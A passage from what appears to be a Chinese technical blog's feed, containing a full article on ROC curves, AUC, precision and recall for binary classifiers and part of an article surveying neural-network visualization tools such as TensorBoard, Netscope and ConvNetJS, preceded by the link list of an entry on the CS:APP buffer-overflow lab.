href="http://blog.csdn.net/q1w2e3r4470/article/details/68941486" target="_blank" rel="external">bufbomb实验心得及详细步骤</a></li><li><a href="http://blog.csdn.net/zoomdy/article/details/50563680" target="_blank" rel="external">objdump反汇编用法示例</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;ul&gt;
&lt;li&gt;任务说明书：&lt;a href=&quot;https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab.pdf&quot;&gt;[pdf] buflab&lt;/a&gt; | &lt;a href=&quot;http://csapp.cs.cmu.edu/public/labs.html&quot;&gt;http://csapp.cs.cmu.edu/public/labs.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;数据包下载：&lt;a href=&quot;https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab-handout.tar&quot;&gt;buflab-handout.tar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;实验源码：&lt;a href=&quot;https://github.com/zhwhong/Bufbomb_CSAPP&quot;&gt;zhwhong/Bufbomb_CSAPP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;同步简书：&lt;a href=&quot;http://www.jianshu.com/p/dc41c84cef17&quot;&gt;Bufbomb缓冲区溢出攻击实验详解&lt;/a&gt;-&lt;a href=&quot;http://www.jianshu.com/u/38cd2a8c425e&quot;&gt;zhwhong&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
    
    </summary>
    
      <category term="Linux" scheme="http://zhwhong.cn/categories/Linux/"/>
    
    
      <category term="Computer System" scheme="http://zhwhong.cn/tags/Computer-System/"/>
    
      <category term="IA-32" scheme="http://zhwhong.cn/tags/IA-32/"/>
    
      <category term="Buflab" scheme="http://zhwhong.cn/tags/Buflab/"/>
    
  </entry>
  
  <entry>
    <title>机器学习之分类性能度量指标 : ROC曲线、AUC值、正确率、召回率</title>
    <link href="http://zhwhong.cn/2017/04/14/ROC-AUC-Precision-Recall-analysis/"/>
    <id>http://zhwhong.cn/2017/04/14/ROC-AUC-Precision-Recall-analysis/</id>
    <published>2017-04-14T14:13:35.000Z</published>
    <updated>2017-11-03T02:34:45.839Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p>在分类任务中，人们总是喜欢基于错误率来衡量分类器任务的成功程度。错误率指的是在所有测试样例中错分的样例比例。实际上，这样的度量错误掩盖了样例如何被分错的事实。在机器学习中，有一个普遍适用的称为混淆矩阵(<a href="https://en.wikipedia.org/wiki/Confusion_matrix" target="_blank" rel="external">confusion matrix</a>)的工具，它可以帮助人们更好地了解分类中的错误。</p><a id="more"></a><p>比如有这样一个在房子周围可能发现的动物类型的预测，这个预测的三类问题的混淆矩阵如下表所示：</p><p><img src="1.png" alt="一个三类问题的混淆矩阵"></p><p>利用混淆矩阵可以充分理解分类中的错误了。如果混淆矩阵中的非对角线元素均为0，就会得到一个近乎完美的分类器。</p><p>在接下来的讨论中，将以经典的二分类问题为例，对于多分类类比推断。</p><p>二分类问题在机器学习中是一个很常见的问题，经常会用到。<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic" target="_blank" rel="external">ROC</a> (Receiver Operating Characteristic) 曲线和 <a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic#Area_under_the_curve" target="_blank" rel="external">AUC</a> (Area Under the Curve) 值常被用来评价一个二值分类器 (<a href="https://en.wikipedia.org/wiki/Binary_classification" target="_blank" rel="external">binary classifier</a>) 的优劣。之前做医学图像计算机辅助肺结节检测时，在评定模型预测结果时，就用到了ROC和AUC，这里简单介绍一下它们的特点，以及更为深入地，讨论如何作出ROC曲线图和计算AUC值。</p><h2 id="一、医学图像识别二分类问题"><a href="#一、医学图像识别二分类问题" class="headerlink" title="一、医学图像识别二分类问题"></a>一、医学图像识别二分类问题</h2><p>针对一个二分类问题，我们将实例分成<strong>正类</strong>(positive)和<strong>负类</strong>(negative)两种。</p><p>例如：在肺结节计算机辅助识别这一问题上，一幅肺部CT图像中有肺结节被认为是<strong>阳性</strong>(positive)，没有肺结节被认为是<strong>阴性</strong>(negative)。对于部分有肺结节的示意图如下：</p><p><img src="2.png" alt="常见肺结节示意图"></p><p>所以在实际检测时，就会有如下四种情况：</p><blockquote><p>(1) 真阳性(True Positive，TP)：检测有结节，且实际有结节；正确肯定的匹配数目；<br>(2) 假阳性(False Positive，FP)：检测有结节，但实际无结节；误报，给出的匹配是不正确的；<br>(3) 真阴性(True Negative，TN)：检测无结节，且实际无结节；正确拒绝的非匹配数目；<br>(4) 假阴性(False Negative，FN)：检测无结节，但实际有结节；漏报，没有正确找到的匹配的数目。</p></blockquote><p>详细图解（原创，转载请标明出处）如下：</p><p><img src="3.png" alt="混淆矩阵"></p><p>上图中涉及到很多相关概念及参数，详细请见Wiki上的<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity#Definitions" target="_blank" rel="external">定义</a>及其<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity#Confusion_matrix" target="_blank" rel="external">混淆矩阵</a>。</p><p><img src="wiki_matrix.png" alt="wiki混淆矩阵"></p><p>这里整理肺结节识别中的几个主要参数指标如下：</p><ul><li><strong>正确率</strong>(<a href="https://en.wikipedia.org/wiki/Precision_and_recall#Precision" target="_blank" rel="external">Precision</a>)：</li></ul><p>$$ Precision=\dfrac{TP}{TP+FP} $$</p><ul><li><strong>真阳性率</strong>(True Positive Rate，<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity" target="_blank" rel="external">TPR</a>)，<strong>灵敏度</strong>(<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity#Sensitivity" target="_blank" rel="external">Sensitivity</a>)，<strong>召回率</strong>(<a href="https://en.wikipedia.org/wiki/Precision_and_recall#Recall" target="_blank" rel="external">Recall</a>)：</li></ul><p>$$ Sensitivity=Recall=TPR=\dfrac{TP}{TP+FN} $$</p><ul><li><strong>真阴性率</strong>(True Negative Rate，<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity" target="_blank" rel="external">TNR</a>)，<strong>特异度</strong>(<a href="https://en.wikipedia.org/wiki/Sensitivity_and_specificity#Specificity" target="_blank" rel="external">Specificity</a>)：</li></ul><p>$$ Specificity=TNR=\dfrac{TN}{FP+TN} $$</p><ul><li><strong>假阴性率</strong>(False Negatice Rate，<a href="https://en.wikipedia.org/wiki/False_positives_and_false_negatives#False_positive_and_false_negative_rates" target="_blank" rel="external">FNR</a>)，<strong>漏诊率</strong>( = 1 - 灵敏度)：</li></ul><p>$$ FNR=\dfrac{FN}{TP+FN} $$</p><ul><li><strong>假阳性率</strong>(False Positice Rate，<a href="https://en.wikipedia.org/wiki/False_positive_rate" target="_blank" rel="external">FPR</a>)，<strong>误诊率</strong>( = 1 - 特异度)：</li></ul><p>$$ FPR=\dfrac{FP}{FP+TN} $$</p><ul><li><strong>阳性似然比</strong>(<a href="https://en.wikipedia.org/wiki/Likelihood_ratios_in_diagnostic_testing#positive_likelihood_ratio" target="_blank" rel="external">Positive Likelihood Ratio (LR+)</a>)：</li></ul><p>$$ LR+ = \dfrac{TPR}{FPR} = \dfrac{Sensitivity}{1-Specificity} $$</p><ul><li><strong>阴性似然比</strong>(<a href="https://en.wikipedia.org/wiki/Likelihood_ratios_in_diagnostic_testing#negative_likelihood_ratio" target="_blank" rel="external">Negative Likelihood Ratio (LR−) </a>)：</li></ul><p>$$ LR- = \dfrac{FNR}{TNR} = \dfrac{1-Sensitivity}{Specificity} $$</p><ul><li><strong>Youden指数</strong>(<a href="http://baike.baidu.com/link?url=ocB5vtVDdo5gYlDxy3xlonrDGQUTZVNv3_uK3FRE30qVYsTeeXPif3fEbQSw2-IZzEoseco7zo-WVEnXM2rngLNp-e2xSej_cUfT6a3afELWFUmvrLtZIKfwMOFNCbKG" target="_blank" rel="external">Youden index</a>)：</li></ul><p>$$ \text{Youden index} = Sensitivity + Specificity - 1 = TPR - FPR $$</p><h2 id="二、ROC曲线"><a href="#二、ROC曲线" class="headerlink" title="二、ROC曲线"></a>二、ROC曲线</h2><p><strong>ROC曲线</strong>：接收者操作特征曲线(<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic" target="_blank" rel="external">receiver operating characteristic curve</a>)，是反映敏感性和特异性连续变量的综合指标，roc曲线上每个点反映着对同一信号刺激的感受性。</p><p>对于分类器或者说分类算法，评价指标主要有<a href="https://en.wikipedia.org/wiki/Precision_and_recall#Precision" target="_blank" rel="external">precision</a>，<a href="https://en.wikipedia.org/wiki/Precision_and_recall#Recall" target="_blank" rel="external">recall</a>，<a href="https://en.wikipedia.org/wiki/F1_score" target="_blank" rel="external">F1 score</a>等，以及这里要讨论的<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic" target="_blank" rel="external">ROC</a>和<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic#Area_under_the_curve" target="_blank" rel="external">AUC</a>。下图是一个ROC曲线的示例：</p><p><img src="4.png" alt=""></p><ul><li>横坐标：<strong>1-Specificity</strong>，伪正类率(False positive rate， FPR)，<strong>预测为正但实际为负</strong>的样本占<strong>所有负例样本</strong> 的比例；</li><li>纵坐标：<strong>Sensitivity</strong>，真正类率(True positive rate， TPR)，<strong>预测为正且实际为正</strong>的样本占<strong>所有正例样本</strong> 的比例。</li></ul><p>在一个二分类模型中，假设采用逻辑回归分类器，其给出针对每个实例为正类的概率，那么通过设定一个阈值如0.6，概率大于等于0.6的为正类，小于0.6的为负类。对应的就可以算出一组(FPR,TPR)，在平面中得到对应坐标点。随着阈值的逐渐减小，越来越多的实例被划分为正类，但是这些正类中同样也掺杂着真正的负实例，即TPR和FPR会同时增大。阈值最大时，对应坐标点为(0,0)，阈值最小时，对应坐标点(1,1)。</p><p>如下面这幅图，(a)图中实线为ROC曲线，线上每个点对应一个阈值。</p><p><img src="5.png" alt="ROC曲线和它相关的比率"></p><p>(a) 理想情况下，TPR应该接近1，FPR应该接近0。ROC曲线上的每一个点对应于一个threshold，对于一个分类器，每个threshold下会有一个TPR和FPR。比如Threshold最大时，TP=FP=0，对应于原点；Threshold最小时，TN=FN=0，对应于右上角的点(1,1)。<br>(b) P和N得分不作为特征间距离d的一个函数，随着阈值theta增加，TP和FP都增加。</p><ul><li>横轴FPR：1-TNR，1-Specificity，FPR越大，预测正类中实际负类越多。</li><li>纵轴TPR：Sensitivity(正类覆盖率)，TPR越大，预测正类中实际正类越多。</li><li>理想目标：TPR=1，FPR=0，即图中(0,1)点，故ROC曲线越靠拢(0,1)点，越偏离45度对角线越好，Sensitivity、Specificity越大效果越好。</li></ul><p>随着阈值threshold调整，ROC坐标系里的点如何移动可以参考：</p><p><img src="6.png" alt=""></p><h2 id="三、如何画ROC曲线"><a href="#三、如何画ROC曲线" class="headerlink" title="三、如何画ROC曲线"></a>三、如何画ROC曲线</h2><p>对于一个特定的分类器和测试数据集，显然只能得到一个分类结果，即一组FPR和TPR结果，而要得到一个曲线，我们实际上需要一系列FPR和TPR的值，这又是如何得到的呢？我们先来看一下Wikipedia上对ROC曲线的<a href="http://en.wikipedia.org/wiki/Receiver_operating_characteristic" target="_blank" rel="external">定义</a>：</p><blockquote><p>In signal detection theory, a receiver operating characteristic (ROC), or simply ROC curve, is a graphical plot which illustrates the performance of a binary classifier system as its discrimination threshold is varied.</p></blockquote><p>问题在于“as its discrimination threashold is varied”。如何理解这里的“discrimination threashold”呢？我们忽略了分类器的一个重要功能“概率输出”，即表示分类器认为某个样本具有多大的概率属于正样本（或负样本）。通过更深入地了解各个分类器的内部机理，我们总能想办法得到一种概率输出。通常来说，是将一个实数范围通过某个变换映射到(0,1)区间。</p><p>假如我们已经得到了所有样本的概率输出（属于正样本的概率），现在的问题是如何改变“discrimination threashold”？我们根据每个测试样本属于正样本的概率值从大到小排序。下图是一个示例，图中共有20个测试样本，“Class”一栏表示每个测试样本真正的标签（p表示正样本，n表示负样本），“Score”表示每个测试样本属于正样本的概率。</p><p><img src="7.png" alt=""></p><p>接下来，我们从高到低，依次将“Score”值作为阈值threshold，当测试样本属于正样本的概率大于或等于这个threshold时，我们认为它为正样本，否则为负样本。举例来说，对于图中的第4个样本，其“Score”值为0.6，那么样本1，2，3，4都被认为是正样本，因为它们的“Score”值都大于等于0.6，而其他样本则都认为是负样本。每次选取一个不同的threshold，我们就可以得到一组FPR和TPR，即ROC曲线上的一点。这样一来，我们一共得到了20组FPR和TPR的值，将它们画在ROC曲线的结果如下图：</p><p><img src="8.png" alt=""></p><p>当我们将threshold设置为1和0时，分别可以得到ROC曲线上的(0,0)和(1,1)两个点。将这些(FPR,TPR)对连接起来，就得到了ROC曲线。当threshold取值越多，ROC曲线越平滑。</p><p>其实，我们并不一定要得到每个测试样本是正样本的概率值，只要得到这个分类器对该测试样本的“评分值”即可（评分值并不一定在(0,1)区间）。评分越高，表示分类器越肯定地认为这个测试样本是正样本，而且同时使用各个评分值作为threshold。我认为将评分值转化为概率更易于理解一些。</p><h2 id="四、AUC"><a href="#四、AUC" class="headerlink" title="四、AUC"></a>四、AUC</h2><h3 id="AUC值的计算"><a href="#AUC值的计算" class="headerlink" title="AUC值的计算"></a>AUC值的计算</h3><p>AUC (<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic#Area_under_the_curve" target="_blank" rel="external">Area Under Curve</a>) 被定义为ROC曲线下的面积，显然这个面积的数值不会大于1。又由于ROC曲线一般都处于y=x这条直线的上方，所以AUC的取值范围一般在0.5和1之间。使用AUC值作为评价标准是因为很多时候ROC曲线并不能清晰的说明哪个分类器的效果更好，而作为一个数值，对应AUC更大的分类器效果更好。</p><p>AUC的计算有两种方式，梯形法和ROC AUCH法，都是以逼近法求近似值，具体见<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic#Area_under_the_curve" target="_blank" rel="external">wikipedia</a>。</p><h3 id="AUC意味着什么"><a href="#AUC意味着什么" class="headerlink" title="AUC意味着什么"></a>AUC意味着什么</h3><p>那么AUC值的含义是什么呢？根据(Fawcett, 2006)，AUC的值的含义是：</p><blockquote><p>The AUC value is equivalent to the probability that a randomly chosen positive example is ranked higher than a randomly chosen negative example.</p></blockquote><p>这句话有些绕，我尝试解释一下：首先AUC值是一个概率值，当你随机挑选一个正样本以及一个负样本，当前的分类算法根据计算得到的Score值将这个正样本排在负样本前面的概率就是AUC值。当然，AUC值越大，当前的分类算法越有可能将正样本排在负样本前面，即能够更好的分类。</p><p>从AUC判断分类器（预测模型）优劣的标准：</p><ul><li>AUC = 1，是完美分类器，采用这个预测模型时，存在至少一个阈值能得出完美预测。绝大多数预测的场合，不存在完美分类器。</li><li>0.5 &lt; AUC &lt; 1，优于随机猜测。这个分类器（模型）妥善设定阈值的话，能有预测价值。</li><li>AUC = 0.5，跟随机猜测一样（例：丢铜板），模型没有预测价值。</li><li>AUC &lt; 0.5，比随机猜测还差；但只要总是反预测而行，就优于随机猜测。</li></ul><p>三种AUC值示例：</p><p><img src="9.png" alt=""></p><p>简单说：<strong>AUC值越大的分类器，正确率越高</strong>。</p><h3 id="为什么使用ROC曲线"><a href="#为什么使用ROC曲线" class="headerlink" title="为什么使用ROC曲线"></a>为什么使用ROC曲线</h3><p>既然已经这么多评价标准，为什么还要使用ROC和AUC呢？因为ROC曲线有个很好的特性：当测试集中的正负样本的分布变化的时候，ROC曲线能够保持不变。在实际的数据集中经常会出现类不平衡(class imbalance)现象，即负样本比正样本多很多(或者相反)，而且测试数据中的正负样本的分布也可能随着时间变化。下图是ROC曲线和<a href="https://en.wikipedia.org/wiki/Precision_and_recall" target="_blank" rel="external">Precision-Recall</a>曲线的对比：</p><p><img src="10.png" alt=""></p><p>在上图中，(a)和(c)为ROC曲线，(b)和(d)为Precision-Recall曲线。(a)和(b)展示的是分类其在原始测试集(正负样本分布平衡)的结果，(c)和(d)是将测试集中负样本的数量增加到原来的10倍后，分类器的结果。可以明显的看出，ROC曲线基本保持原貌，而Precision-Recall曲线则变化较大。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li>Wikipedia：<a href="https://en.wikipedia.org/wiki/Receiver_operating_characteristic" target="_blank" rel="external">Receiver operating characteristic</a></li><li>孔明的博客：<a href="http://alexkong.net/2013/06/introduction-to-auc-and-roc/" target="_blank" rel="external">ROC和AUC介绍以及如何计算AUC</a></li><li>Rachel Zhang的专栏(CSDN)：<a href="http://blog.csdn.net/abcjennifer/article/details/7359370" target="_blank" rel="external">ROC曲线-阈值评价标准</a></li><li>博客园dzl_ML：<a href="http://www.cnblogs.com/dlml/p/4403482.html" target="_blank" rel="external">机器学习之分类器性能指标之ROC曲线、AUC值</a></li><li>知乎：<a href="https://www.zhihu.com/question/30643044" target="_blank" rel="external">精确率、召回率、F1 值、ROC、AUC 各自的优缺点是什么？</a></li></ul><p>（在此对以上博文的博主表示感谢！）</p><hr><p>写在最后：转载请联系作者并注明出处，谢谢！</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;在分类任务中，人们总是喜欢基于错误率来衡量分类器任务的成功程度。错误率指的是在所有测试样例中错分的样例比例。实际上，这样的度量错误掩盖了样例如何被分错的事实。在机器学习中，有一个普遍适用的称为混淆矩阵(&lt;a href=&quot;https://en.wikipedia.org/wiki/Confusion_matrix&quot;&gt;confusion matrix&lt;/a&gt;)的工具，它可以帮助人们更好地了解分类中的错误。&lt;/p&gt;
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="ROC" scheme="http://zhwhong.cn/tags/ROC/"/>
    
      <category term="AUC" scheme="http://zhwhong.cn/tags/AUC/"/>
    
      <category term="Classfication" scheme="http://zhwhong.cn/tags/Classfication/"/>
    
  </entry>
  
  <entry>
    <title>深度神经网络可视化工具</title>
    <link href="http://zhwhong.cn/2017/03/28/neural-network-visualization/"/>
    <id>http://zhwhong.cn/2017/03/28/neural-network-visualization/</id>
    <published>2017-03-28T04:36:46.000Z</published>
    <updated>2017-03-28T08:34:43.687Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><h2 id="TensorBoard-TensorFlow集成可视化工具"><a href="#TensorBoard-TensorFlow集成可视化工具" class="headerlink" title="TensorBoard:TensorFlow集成可视化工具"></a>TensorBoard:TensorFlow集成可视化工具</h2><blockquote><p>GitHub官方项目：<a href="https://github.com/tensorflow/tensorflow/tree/master/tensorflow/tensorboard" target="_blank" rel="external">https://github.com/tensorflow/tensorflow/tree/master/tensorflow/tensorboard</a></p></blockquote><p>TensorBoard 涉及到的运算，通常是在训练庞大的深度神经网络中出现的复杂而又难以理解的运算。</p><p>为了更方便 TensorFlow 程序的理解、调试与优化，Google发布了一套叫做 TensorBoard 的可视化工具。你可以用 TensorBoard 来展现你的 TensorFlow 图像，绘制图像生成的定量指标图以及附加数据。</p><p>当 TensorBoard 设置完成后，它应该是这样子的：</p><p><img src="mnist_tensorboard.png" alt="mnist tensorboard"></p><p>输入下面的指令来启动tensorboard：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">tensorboard --logdir=/path/to/<span class="built_in">log</span>-directory</div></pre></td></tr></table></figure><p>这里的参数 logdir 指向 SummaryWriter 序列化数据的存储路径。如果logdir目录的子目录中包含另一次运行时的数据，那么 TensorBoard 会展示所有运行的数据。一旦 TensorBoard 开始运行，你可以通过在浏览器中输入 <strong>localhost:6006</strong> 来查看 TensorBoard。进入 TensorBoard 的界面时，你会在右上角看到导航选项卡，每一个选项卡将展现一组可视化的序列化数据集 。对于你查看的每一个选项卡，如果 TensorBoard 中没有数据与这个选项卡相关的话，则会显示一条提示信息指示你如何序列化相关数据。</p><p>TensorFlow 图表计算强大而又复杂，图表可视化在理解和调试时显得非常有帮助。 下面是一个运作时的可式化例子：</p><p><img src="graph_vis_animation.gif" alt=""></p><p>更多详细内容参考：</p><ul><li>[TensorFlow中文社区] <a href="http://www.tensorfly.cn/tfdoc/how_tos/summaries_and_tensorboard.html" target="_blank" rel="external">TensorBoard:可视化学习</a></li><li>[TensorFlow中文社区] <a href="http://www.tensorfly.cn/tfdoc/how_tos/graph_viz.html" target="_blank" rel="external">TensorBoard:图表可视化</a></li><li>[极客学院] <a href="http://wiki.jikexueyuan.com/project/tensorflow-zh/how_tos/summaries_and_tensorboard.html" target="_blank" rel="external">TensorBoard:可视化学习</a></li></ul><h2 id="Netscope-支持Caffe的神经网络结构在线可视化工具"><a href="#Netscope-支持Caffe的神经网络结构在线可视化工具" class="headerlink" title="Netscope:支持Caffe的神经网络结构在线可视化工具"></a>Netscope:支持Caffe的神经网络结构在线可视化工具</h2><blockquote><p>官网：<a href="http://ethereon.github.io/netscope/quickstart.html" target="_blank" rel="external">http://ethereon.github.io/netscope/quickstart.html</a><br>GitHub项目：<a href="https://github.com/ethereon/netscope" target="_blank" rel="external">https://github.com/ethereon/netscope</a></p></blockquote><p><strong>“A web-based tool for visualizing neural network architectures (or technically, any directed acyclic graph). It currently supports Caffe’s prototxt format.”</strong></p><p>Netscope是一个支持prototxt格式描述的神经网络结构的在线可视工具。它可以用来可视化Caffe结构里prototxt格式的网络结构，使用起来也非常简单，打开这个地址 <a href="http://ethereon.github.io/netscope/#/editor" target="_blank" rel="external"><code>http://ethereon.github.io/netscope/#/editor</code></a>，把你的描述神经网络结构的prototxt文件复制到该编辑框里，按shift+enter，就可以直接以图形方式显示网络的结构了。</p><p>比如，以 <strong>mnist的Lenet</strong> 和 <strong>imagenet的AlexNet</strong> 网络结构为例，分别把Caffe中 <a href="https://github.com/BVLC/caffe/blob/master/examples/mnist/lenet_train_test.prototxt" target="_blank" rel="external">caffe/examples/mnist/lenet_train_test.prototxt</a> 和 <a href="https://github.com/BVLC/caffe/blob/master/models/bvlc_alexnet/train_val.prototxt" target="_blank" rel="external">caffe/models/bvlc_alexnet/train_val.prototxt</a> 文件的内容复制到左侧编译框，按shift+enter,立即就可以得到可视化的结构图，具体每层的参数等，如下：</p><p><img src="Netscope_lenet.png" alt="Lenet"></p><p><img src="Netscope_alexnet.png" alt="AlexNet"></p><p>Netscope给出的几个常见CNN网络结构示例：</p><ul><li><a href="http://ethereon.github.io/netscope/#/preset/alexnet" target="_blank" rel="external">AlexNet</a> | Alex Krizhevsky, Ilya Sutskever, Geoffrey Hinton</li><li><a href="http://ethereon.github.io/netscope/#/preset/caffenet" target="_blank" rel="external">CaffeNet</a> | Yangqing Jia, Evan Shelhamer, et. al.</li><li><a href="http://ethereon.github.io/netscope/#/preset/fcn-8s-pascal" target="_blank" rel="external">Fully Convolutional Network — Three Stream</a> | Jonathan Long, Evan Shelhamer, Trevor Darrell</li><li><a href="http://ethereon.github.io/netscope/#/preset/googlenet" target="_blank" rel="external">GoogleNet</a> | Christian Szegedy, et. al.</li><li><a href="http://ethereon.github.io/netscope/#/preset/nin" target="_blank" rel="external">Network in Network</a> | Min Lin, Qiang Chen, Shuicheng Yan</li><li><a href="http://ethereon.github.io/netscope/#/preset/vgg-16" target="_blank" rel="external">VGG 16 Layers</a> | Karen Simonyan, Andrew Zisserman</li></ul><p>以上网络的prototxt源文件见：<a href="https://github.com/ethereon/netscope/tree/gh-pages/presets" target="_blank" rel="external">https://github.com/ethereon/netscope/tree/gh-pages/presets</a> 。</p><h2 id="使用-python-draw-net-py绘制网络模型"><a href="#使用-python-draw-net-py绘制网络模型" class="headerlink" title="使用 python/draw_net.py绘制网络模型"></a>使用 python/draw_net.py绘制网络模型</h2><p><strong>python/draw_net.py</strong>，这个文件，就是用来绘制网络模型的，也就是将网络模型由prototxt变成一张图片。</p><p>在绘制之前，需要先安装两个库</p><h3 id="1-安装GraphViz"><a href="#1-安装GraphViz" class="headerlink" title="1.安装ＧraphViz"></a>1.安装ＧraphViz</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ sudo apt-get install GraphViz</div></pre></td></tr></table></figure><p>注意，这里用的是apt-get来安装，而不是pip。</p><h3 id="2-安装pydot"><a href="#2-安装pydot" class="headerlink" title="2.安装pydot"></a>2.安装pydot</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ sudo pip install pydot</div></pre></td></tr></table></figure><p>用的是pip来安装，而不是apt-get。</p><p>安装好了，就可以调用脚本来绘制图片了。</p><p>draw_net.py执行的时候带三个参数</p><ul><li>第一个参数：网络模型的prototxt文件；</li><li>第二个参数：保存的图片路径及名字；</li><li>第二个参数：- - rankdir = x，x 有四种选项，分别是LR, RL, TB, BT 。用来表示网络的方向，分别是从左到右，从右到左，从上到小，从下到上。默认为LR。</li></ul><p>例：绘制Lenet模型</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ sudo python python/draw_net.py examples/mnist/lenet_train_test.prototxt netImage/lenet.png --rankdir=BT</div></pre></td></tr></table></figure><p><img src="lenet.png" alt="Lenet"></p><p>参考阅读：</p><ul><li><a href="http://blog.csdn.net/10km/article/details/52713027" target="_blank" rel="external">Netscope:支持Caffe的神经网络结构在线可视化工具</a></li><li><a href="http://www.cnblogs.com/denny402/p/5106764.html" target="_blank" rel="external">Caffe学习系列(18): 绘制网络模型</a></li><li><a href="http://blog.csdn.net/solomon1558/article/details/53144606" target="_blank" rel="external">Caffe学习系列——工具篇：神经网络模型结构可视化</a></li><li><a href="http://deeplearningongpu.readthedocs.io/en/latest/Stage_3.html" target="_blank" rel="external">深度网络的设计与可视化工具</a></li></ul><h2 id="Neural-Network-Playground"><a href="#Neural-Network-Playground" class="headerlink" title="Neural Network Playground"></a>Neural Network Playground</h2><blockquote><p>官网：<a href="http://playground.tensorflow.org" target="_blank" rel="external">http://playground.tensorflow.org</a><br>GitHub项目：<a href="https://github.com/tensorflow/playground" target="_blank" rel="external">https://github.com/tensorflow/playground</a></p></blockquote><p><strong>Deep playground is an interactive visualization of neural networks, written in typescript using d3.js.</strong></p><p>PlayGround是一个图形化用于教学目的的简单神经网络在线演示、实验的平台，非常强大地可视化了神经网络的训练过程。</p><p><img src="playground.png" alt="Neural Network Playground"></p><p>参考阅读：</p><ul><li>[知乎] <a href="https://www.zhihu.com/question/42995089" target="_blank" rel="external">谁能详细讲解一下TensorFlow Playground所展示的神经网络的概念？</a></li><li>[Blog] <a href="http://hp.stuhome.net/index.php/2016/10/15/tensorflow-playground/" target="_blank" rel="external">结合TensorFlow PlayGround的简单神经网络原理解释</a></li></ul><h2 id="ConvnetJS"><a href="#ConvnetJS" class="headerlink" title="ConvnetJS"></a>ConvnetJS</h2><blockquote><p>官网：<a href="http://cs.stanford.edu/people/karpathy/convnetjs/" target="_blank" rel="external">http://cs.stanford.edu/people/karpathy/convnetjs/</a><br>GitHub项目：<a href="https://github.com/karpathy/convnetjs" target="_blank" rel="external">https://github.com/karpathy/convnetjs</a></p></blockquote><p><strong>ConvNetJS is a Javascript library for training Deep Learning models (Neural Networks) entirely in your browser. Open a tab and you’re training. No software requirements, no compilers, no installations, no GPUs, no sweat.</strong></p><p><img src="ConvNetJS.png" alt="ConvNetJS"></p><h3 id="Some-Online-Demos"><a href="#Some-Online-Demos" class="headerlink" title="Some Online Demos"></a>Some Online Demos</h3><ul><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/mnist.html" target="_blank" rel="external">Convolutional Neural Network on MNIST digits</a></li><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/cifar10.html" target="_blank" rel="external">Convolutional Neural Network on CIFAR-10</a></li><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/classify2d.html" target="_blank" rel="external">Toy 2D data</a></li><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/regression.html" target="_blank" rel="external">Toy 1D regression</a></li><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/autoencoder.html" target="_blank" rel="external">Training an Autoencoder on MNIST digits</a></li><li><a href="http://cs.stanford.edu/people/karpathy/convnetjs/demo/rldemo.html" target="_blank" rel="external">Deep Q Learning Reinforcement Learning demo</a></li><li><a href="http://cs.stanford.edu/~karpathy/convnetjs/demo/image_regression.html" target="_blank" rel="external">Image Regression (“Painting”)</a></li><li><a href="http://cs.stanford.edu/people/karpathy/convnetjs/demo/trainers.html" target="_blank" rel="external">Comparison of SGD/Adagrad/Adadelta on MNIST</a></li></ul><p>更多内容请关注<a href="http://cs.stanford.edu/people/karpathy/convnetjs/" target="_blank" rel="external">官网</a>和GutHub项目<a href="https://github.com/karpathy/convnetjs" target="_blank" rel="external">README</a>。</p><h2 id="wevi"><a href="#wevi" class="headerlink" title="wevi"></a>wevi</h2><blockquote><p>官网：<a href="https://ronxin.github.io/wevi/" target="_blank" rel="external">wevi: word embedding visual inspector</a><br>GitHub项目：<a href="https://github.com/ronxin/wevi" target="_blank" rel="external">https://github.com/ronxin/wevi</a></p></blockquote><p><img src="wevi.png" alt="wevi"></p><p>具体参考：<a href="https://docs.google.com/document/d/1qUH1LvNcp5msoh2FEwTQAUX8KfMq2faGpNv4s4WXhgg/pub" target="_blank" rel="external">wevi: Word Embedding Visual Inspector</a></p><h2 id="CNNVis"><a href="#CNNVis" class="headerlink" title="CNNVis"></a>CNNVis</h2><blockquote><p>文章来源：<a href="https://arxiv.org/abs/1604.07043" target="_blank" rel="external">Towards Better Analysis of Deep Convolutional Neural Networks</a> arxiv.org/abs/1604.07043</p></blockquote><p>具体参见：<a href="https://yq.aliyun.com/articles/64813" target="_blank" rel="external">能帮你更好理解分析深度卷积神经网络，今天要解读的是一款新型可视化工具——CNNVis，看完就能用！</a></p><p><strong>摘要：</strong> 深度卷积神经网络（CNNs）在许多模式识别任务中取得了很大的性能突破， 